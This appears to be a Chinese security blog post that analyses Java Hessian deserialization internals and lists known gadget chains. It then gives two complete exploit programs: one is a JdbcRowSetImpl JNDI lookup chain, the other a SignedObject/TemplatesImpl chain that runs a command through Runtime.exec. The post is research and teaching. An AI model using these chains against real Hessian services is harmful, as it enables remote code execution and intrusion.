Hessian学习

Hessian是什么

Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现,并且Hessian一般通过Web Service提供服务。在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输。

0x01 反序列化分析

demo,直接搬的枫师傅的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.ser;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;

public class Hessian_Test implements Serializable {
static SerializerFactory serializerFactory = new SerializerFactory();
public static class Person {
public String name;
public int age;

public int getAge() {
return age;
}

public String getName() {
return name;
}

public void setAge(int age) {
this.age = age;
}

public void setName(String name) {
this.name = name;
}
@Override
public String toString() {
return "Person(name="+name+",age="+age+")";
}
}


public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.setSerializerFactory(serializerFactory);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

public static void main(String[] args) throws IOException {
serializerFactory.setAllowNonSerializable(true);
Person person = new Person();
person.setAge(996);
person.setName("Feng");

byte[] s = serialize(person);
System.out.println((Person)deserialize(s));
}

}

image-20240122014944883

可以序列化数据是以“mt”表示服。

与序列化过程设计类似,Hessian 定义了 Deserializer 接口,并为不同的类型创建了不同的实现类。这里重点看下对自定义类型对象的读取。

在 Hessian 1.0 的 HessianInput 中,没有针对 Object 的读取,而是都将其作为 Map 读取,在序列化的过程中我们也提到,在写入自定义类型时会将其标记为 Map 类型。

在 Hessian 2.0 中,则是提供了 UnsafeDeserializer 来对自定义类型数据进行反序列化,关键方法在 readObject 处。

image-20240122005852898

由于 Hessian 1.0 会将序列化的结果处理成一个Map,所以序列化结果的第一个byte总为M(ASCII为77)。

在HessianInput#readObject中会使用case语句选择。

image-20240122010920029

由于Hessian 2.0t会将序列化的结果处理成一个Map,所以序列化结果的第一个byte总为M(ASCII为72)。

在Hessian2Input#readObject中会使用case语句选择。

image-20240122011138483

image-20240122011102930

最后都会待用SerializerFactory.class#readMap()

image-20240122013120135

通过getDeserializer()来获取一个deserializer

com/caucho/hessian/io/SerializerFactory.java#getDeserializer()

image-20240122013421743

通过getDeserializer()来获取一个deserializer,没有就new一个,ram嗨皮创建一个HashMap作为缓存,并将我们需要反序列化的类作为key放入HashMap中。

image-20240122013648618

image-20240122013658581

HashMap 在 put 键值对时,将会对 key 的 hashcode 进行校验查看是否有重复的 key 出现,这就将会调用 key 的 hasCode 方法。

也就是说 Hessian 相对比原生反序列化的利用链,有几个限制:

  • gadget chain 起始方法只能为 hashCode/equals

  • 利用链中调用的成员变量不能为 transient 修饰

  • 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑

    TemplatesImpl类中被transient修饰的_tfactory属性无法被序列化,进而导致TemplatesImpl类无法初始化

    可以参考这个,https://www.cnblogs.com/LittleHann/p/17818994.html

    MapDeserializer#readMap 对 Map 类型数据进行反序列化操作是会创建相应的 Map 对象,并将 Key 和 Value 分别反序列化后使用 put 方法写入数据。在没有指定 Map 的具体实现类时,将会默认使用 HashMap ,对于 SortedMap,将会使用 TreeMap。

    image-20240122015558230

    参考xstreem,有一下两条

    通过TreeMap去触发compareTo

    1
    2
    3
    4
    5
    6
    7
    TreeSet.putAll
    javax.naming.ldap.Rdn$RdnEntry.compareTo
    com.sun.org.apache.xpath.internal.objects.XString.equal
    javax.sound.sampled.AudioFileFormat.toString
    UIDefaults.get
    UIDefaults.getFromHashTable
    UIDefaults$LazyValue.createValue
    1
    2
    3
    4
    5
    6
    7
    TreeSet.putAll
    javax.naming.ldap.Rdn$RdnEntry.compareTo
    com.sun.org.apache.xpath.internal.objects.XStringForFSB.equal
    javax.swing.MultiUIDefaults.toString
    UIDefaults.get
    UIDefaults.getFromHashTable
    UIDefaults$LazyValue.createValue

    0x02 构造exp

    一、想到就是hashmap->remo->jndi

    TemplatesImpl类中被transient修饰的_tfactory属性无法被序列化,进而导致TemplatesImpl类无法初始化

    为什么使用Java原生反序列化时不会报错

    我们知道,在使用Java原生的反序列化时,如果被反序列化的类重写了readObject(),那么Java就会通过反射来调用重写的readObject()

    img

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    package com.ser;


    import com.alibaba.fastjson.JSONArray;
    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import com.sun.rowset.JdbcRowSetImpl;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.CtMethod;


    import javax.management.BadAttributeValueExpException;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;

    public class MultiUIDefaults implements Serializable {
    // static SerializerFactory serializerFactory = new SerializerFactory();
    public static void main(String[] args) throws Exception {
    // serializerFactory.setAllowNonSerializable(true);


    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/remoteExploit8");
    jdbcRowSet.setMatchColumn("1");


    EqualsBean equalsBean = new EqualsBean(ToStringBean.class,new ToStringBean(jdbcRowSet.getClass(),jdbcRowSet));

    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put(equalsBean,"2");


    FileOutputStream hessian_jndi = new FileOutputStream("hessian_jndi");
    Hessian2Output hessian2Output = new Hessian2Output(hessian_jndi);
    hessian2Output.writeObject(hashMap);
    hessian2Output.flushBuffer();

    FileInputStream hessian_jndi1 = new FileInputStream("hessian_jndi");
    Hessian2Input hessian2Input = new Hessian2Input(hessian_jndi1);
    hessian2Input.readObject();

    // ByteArrayOutputStream baos = new ByteArrayOutputStream();
    // ObjectOutputStream outputStream = new ObjectOutputStream(baos);
    // outputStream.writeObject(hashMap);
    // outputStream.close();
    //
    // ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    // ObjectInputStream Input = new ObjectInputStream(bais);
    // Input.readObject();
    }
    }

    二、hessisan->SignedObject二次反序列化

    hashmap.hashcode()->remo.toString()->signedObject.getObject->BadAttributeValueExpException.readObject->remo.toString()->templateiml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    package com.ser;

    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import com.caucho.hessian.io.SerializerFactory;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import javafx.beans.property.Property;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.beanutils.BeanComparator;
    import sun.swing.SwingLazyValue;

    import javax.management.BadAttributeValueExpException;
    import javax.swing.*;
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.security.*;
    import java.util.HashMap;
    import java.util.PriorityQueue;

    public class hessian_tostring {
    static SerializerFactory serializerFactory = new SerializerFactory();
    public static void main(String[] args) throws Exception {
    serializerFactory.setAllowNonSerializable(true);


    // UIDefaults uiDefaults = new UIDefaults();
    // uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"rmi://127.0.0.1:1099/remoteExploit8"}));
    // Class<?> aClass = Class.forName("javax.swing.MultiUIDefaults");
    // Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(UIDefaults[].class);
    // declaredConstructor.setAccessible(true);
    // Object o = declaredConstructor.newInstance(new Object[]{new UIDefaults[]{uiDefaults}});
    //
    // EqualsBean equalsBean = new EqualsBean(Object.class,o);
    //
    // HashMap<Object, Object> hashMap = new HashMap<>();
    // hashMap.put(equalsBean,"2");
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    CtClass cc = pool.makeClass("Cat");
    String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a calculator\");";
    cc.makeClassInitializer().insertBefore(cmd);
    String randomClassName = "EvilCat";
    cc.setName(randomClassName);
    cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

    byte[] classBytes = cc.toBytecode();
    byte[][] targetByteCodes = new byte[][]{classBytes};
    TemplatesImpl templates = TemplatesImpl.class.newInstance();
    setFieldValue(templates, "_bytecodes", targetByteCodes);
    setFieldValue(templates, "_name", "name");

    ToStringBean toStringBean = new ToStringBean(Templates.class, templates);

    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
    val.setAccessible(true);
    val.set(badAttributeValueExpException,toStringBean);

    KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
    KeyPair keyPair = keyPairGenerator.generateKeyPair();
    PrivateKey privateKey = keyPair.getPrivate();
    Signature signature = Signature.getInstance("MD2withRSA");
    signature.initSign(privateKey);
    SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey,signature );


    EqualsBean equalsBean = new EqualsBean(ToStringBean.class,new ToStringBean(SignedObject.class,signedObject));

    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put(equalsBean,"2");


    Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("./hessiantwo"));
    hessian2Output.setSerializerFactory(serializerFactory);
    hessian2Output.writeObject(hashMap);
    hessian2Output.flushBuffer();

    Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("./hessiantwo"));
    hessian2Input.readObject();

    // ByteArrayOutputStream baos = new ByteArrayOutputStream();
    // ObjectOutputStream outputStream = new ObjectOutputStream(baos);
    // outputStream.writeObject(hashMap);
    // outputStream.close();
    //
    // ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    // ObjectInputStream Input = new ObjectInputStream(bais);
    // Input.readObject();
    // ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./hessian_tostring"));
    // outputStream.writeObject(hashMap);
    // outputStream.close();
    //
    // ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./hessian_tostring"));
    // inputStream.readObject();
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
    final Field field = getField(obj.getClass(), fieldName);
    field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
    Field field = null;
    try {
    field = clazz.getDeclaredField(fieldName);
    field.setAccessible(true);
    }
    catch (NoSuchFieldException ex) {
    if (clazz.getSuperclass() != null)
    field = getField(clazz.getSuperclass(), fieldName);
    }
    return field;
    }
    }

链接

https://blog.wanghw.cn/security/hessian-deserialization-jdk-rce-gadget.html

https://goodapple.top/archives/1193

https://www.cnblogs.com/LittleHann/p/17818994.html

https://www.cnblogs.com/kingbridge/articles/16717030.html

https://su18.org/post/hessian/


Hessian学习
https://unam4.github.io/2024/01/18/Hessian学习/
作者
unam4
发布于
2024年1月18日
许可协议